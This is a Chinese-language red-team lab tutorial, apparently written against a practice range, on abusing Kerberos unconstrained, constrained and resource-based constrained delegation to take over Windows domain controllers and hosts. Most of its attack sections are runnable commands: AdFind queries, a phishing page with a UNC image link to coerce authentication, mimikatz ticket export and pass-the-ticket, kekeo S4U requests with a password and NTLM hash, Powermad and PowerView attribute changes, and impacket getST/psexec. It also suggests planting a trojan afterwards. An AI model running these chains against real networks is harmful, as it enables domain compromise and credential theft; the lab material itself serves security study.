目录
[一. 判断开启非约束委派的用户和主机](#一. 判断开启非约束委派的用户和主机)
[二. 域控域webserver建立通讯](#二. 域控域webserver建立通讯)
[三. 导出票据到本地](#三. 导出票据到本地)
[四. 加载票据到内存](#四. 加载票据到内存)
[五. 连接域控](#五. 连接域控)
[klist purge 与 mimikatz sekurlsa::tickets purge 的区别](#klist purge 与 mimikatz sekurlsa::tickets purge 的区别)
[一. 判断查询](#一. 判断查询)
[二. 获取用户的票据](#二. 获取用户的票据)
[三. 获取域控票据](#三. 获取域控票据)
[四. 导入票据到内存](#四. 导入票据到内存)
[五. 连接域控](#五. 连接域控)
[一. 获取受害目标](#一. 获取受害目标)
[二. 判断受害用户](#二. 判断受害用户)
[三. 增加机器](#三. 增加机器)
[四. 获取SID](#四. 获取SID)
[五. 设置修改属性](#五. 设置修改属性)
[六. 验证修改是否成功](#六. 验证修改是否成功)
[七. 连接目标获取票据](#七. 连接目标获取票据)
[八. 导入票据到内存](#八. 导入票据到内存)
[九. 连接data主机](#九. 连接data主机)
实验靶场:redteam.red
域委派
委派(Delegation)是指将一个实体(主体)的权限授予另一个实体(代理)以代表自己执行某些操作或访问资源的过程。
在计算机系统中,委派通常用于授权一个实体代表另一个实体执行特定的任务。委派可以用于各种情况,例如:
- 用户委派:一个用户可以将自己的权限委派给另一个用户,以便后者代表前者执行某些任务或操作,如代表用户管理某个系统或资源。
- 服务委派:一个服务可以被授权代表用户执行某些操作,例如代表用户访问其他资源或执行特定的任务。
- 资源委派:一个资源可以将访问权限委派给另一个实体,以便该实体能够代表资源执行特定的操作或管理。
**委派通常需要通过身份验证和授权机制来实现,以确保被委派的实体具有足够的权限,并受到适当的访问控制限制。**委派可以提高系统的灵活性和效率,减少用户的工作负担,并支持更复杂的授权和访问模型。
非约束委派
非约束委派(Unconstrained Delegation)是指将用户或计算机帐户的所有权限都授予另一个用户或计算机帐户,并且该帐户可以将权限继续委派下去,这样可以导致安全隐患。
非约束委派(Unconstrained Delegation)是指在Windows环境中,允许某个服务(通常是Web服务器)接收到的身份验证凭据(例如Kerberos票据)可以被转发给其他服务进行身份验证,而无需对转发的凭据进行限制或验证。
被域控进行非约束委派的域成员主机获得全部权限,并且该可以同样的可以进非约束委派至其他域成员主机
配置非约束委派
选择计算机,右击属性
勾选非约束委派
DC(域控)执行下面命令
查看webadmin用户属性
这就形成了非约束委派的攻击条件,类似于windows的权限继承
约束委派
约束委派(Constrained Delegation)是指在Windows环境中,允许某个服务(通常是Web服务器)接收到的身份验证凭据(例如Kerberos票据)只能被转发给特定的目标服务,以实现更加安全的身份验证和访问控制。
约束委派(Constrained Delegation)是指将用户或计算机帐户的部分权限授予另一个用户或计算机帐户,并限制该帐户只能将授权限委派给特定的服务。这意味着该帐户无法将委派权限向下传递给其他服务,因此更加安全。
配置约束委派
配置属性
计算机属性
资源约束委派
资源约束委派(Resource-based Constrained Delegation)是约束委派(Constrained Delegation)的一种类型,在Windows环境中用于限制服务接收和转发凭据的目标服务,并同时限制对特定资源的访问权限。
资源约束委派是一种更为精细的委派配置,它允许管理员为特定的资源指定允许接收凭据的服务,并限制这些服务对资源的访问权限。这样一来,即使服务接收到凭据并进行了转发,目标服务仅能访问其被授权的资源,而无法越权访问其他资源。
计算机加入域
右击计算机,更改设置,加入之前输入域成员账号密码才能加入域
之后才能加入域
三种委派对比
非约束委派:接收的凭据可以无任何限制转发
约束委派:限制了转发的对象
资源约束委派:针对资源本身进行限制,规定可以访问对象;限制服务可以访问的对象
横向移动:非约束委派利用
原理
机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的的TGT放在ST票据中,
一起发送给机器B,机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户(域管用户)访问服务。
利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户
约束委派利用
实验背景:拿下一台具有非约束委派权限的主机和账户 webserver
需要提权,后续需要导出票据
一. 判断开启非约束委派的用户和主机
上传AdFind到webserver即可利用
查询域内设置了非约束委派的服务账户
shell AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
说明webadmin有非约束委派权限
查询域内设置了非约束委派的机器账户
shell AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
webserver和DC主机具有非约束委派的权限
二. 域控域webserver建立通讯
方式一:域控执行命令
net use \\webserver #测试网络连接情况
也可以ping一下
方式二:钓鱼
在webserver搭建web页面,钓鱼DC访问
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.3.31\2">
</body>
</html>
三. 导出票据到本地
mimikatz sekurlsa::tickets /export
四. 加载票据到内存
shell klist
五. 连接域控
shell dir \\owa2010cn-god\c$
之后就可以尝试利用web服务器,下载木马,正向连接上线
或者利用协议copy传递木马上线
klist purge 与 mimikatz sekurlsa::tickets purge 的区别
"klist purge"和"sekurlsa::tickets purge"都是清空Kerberos票据的命令,但它们针对的目标不同。
"klist purge"是Windows系统自带的一个命令,用于清空当前用户会话(session)中缓存的Kerberos票据。如果其他用户或进程缓存了Kerberos票据,并且这些票据未过期,攻击者仍然可以使用它们来进行攻击。
而"sekurlsa::tickets purge"是Mimikatz工具中的一个命令,用于清空当前会话中缓存的Kerberos票据。与"klist purge"不同的是,该命令可以清空整个会话中的所有Kerberos票据,包括其他用户或进程缓存的票据。这意味着,即使在其他会话中有未过期的票据,攻击者也无法使用这些票据进行横向渗透攻击。
相较于"klist purge"命令,"mimikatz sekurlsa::tickets purge"命令在清空Kerberos票据时更加严格和彻底。
横向移动:约束委派利用
实验使用靶场:redteam.red靶场
原理
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,
引入了SService for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)。
攻击原理如下:
-
约束委派:约束委派是一种常见的身份验证和授权机制,在某些环境中允许一个实体(通常是服务)在代表用户执行任务时委派其身份和权限给其他服务。这种委派是受到限制的,只允许被委派的服务访问特定的目标资源。
-
错误配置或漏洞:攻击者通过寻找目标系统中存在的错误配置或漏洞,通常是在约束委派设置上出现问题。这些配置错误可能导致被委派的服务具有比预期更多的权限,或者允许攻击者绕过授权检查,获取到未经授权的权限。
-
滥用权限:一旦攻击者成功获取到被委派实体的权限,他们可以利用这些权限执行未经授权的操作。这可能包括访问敏感数据、执行恶意代码、横向移动到其他系统等。
利用场景
如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。
则攻击者可以先使用S4u2seflt申请域管用户(administrator)访问A服务的ST1,
然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。
约束委派利用
这个用户被委派,先获取这个用户的票据,在访问域控,获得域控的票据,在导入内存
一. 判断查询
查询机器用户(主机)配置约束委派
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询服务账户(主机)配置约束委派
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
二. 获取用户的票据
两种利用方式:通过明文密码,通过Hash
kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"
kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"
三. 获取域控票据
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"
TGS就是服务票据
四. 导入票据到内存
mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god.god.org@GOD.ORG.kirbi
shell klist
五. 连接域控
shell dir \\owa2010cn-god.god.org\c$
横向移动:资源约束委派利用
实验环境
原理
基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
安全问题
倘若一个域用户在多台主机上加入域,也就是多台主机加入域,拿下这个域用户,就可以拿下它所登录的所有主机
利用条件
- 只要域控制器版本再2012以上就可以实施
- 有域成员用户加入域
资源约束委派利用
一. 获取受害目标
AdFind.exe -h 192.168.3.33 -b "DC=xiaodi,DC=local" -f "objectClass=computer" mS-DS-CreatorSID
这两台主机的SID值一样,说明这两台主机是由一个用户加入的
如果想要利用,需要这个域用户的权限,和SID值一样,才能利用
资源委派是三个委派攻击用的最多的。
二. 判断受害用户
查询SID所属用户
sid2user.exe \\192.168.3.33 5 21 1695257952 3088263962 2055235443 1104
该用户是dbadmin xd域内普通用户,这两台主机都是用dbadmin登陆的
接下来实验我们是已经拿到了dbadmin的权限的背景下
三. 增加机器
GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
添加一台serviceA 密码:123456
四. 获取SID
PowerSploit/PowerView.ps1 at dev · PowerShellMafia/PowerSploit · GitHub
Import-Module .\PowerView.ps1
Get-NetComputer serviceA -Properties objectsid
S-1-5-21-1695257952-3088263962-2055235443-1108
五. 设置修改属性
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257952-3088263962-2055235443-1108)" #将SID修改为上方获取的SID值
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DATA| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
六. 验证修改是否成功
Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity
清楚修改设置:
Set-DomainObject DATA -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
七. 连接目标获取票据
修改host文件
192.168.3.11 web.xiaodi.org
192.168.3.22 data.xiaodi.org
192.168.3.33 dc.xiaodi.org
192.168.3.33 xiaodi.org
执行Py脚本:
python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator
生成ccache票据文件
八. 导入票据到内存
mimikatz kerberos::ptc administrator.ccache
九. 连接data主机
dir \\data.xiaodi.local\c$
python psexec.py -k xiaodi.local/administrator@data.xiaodi.local -no-pass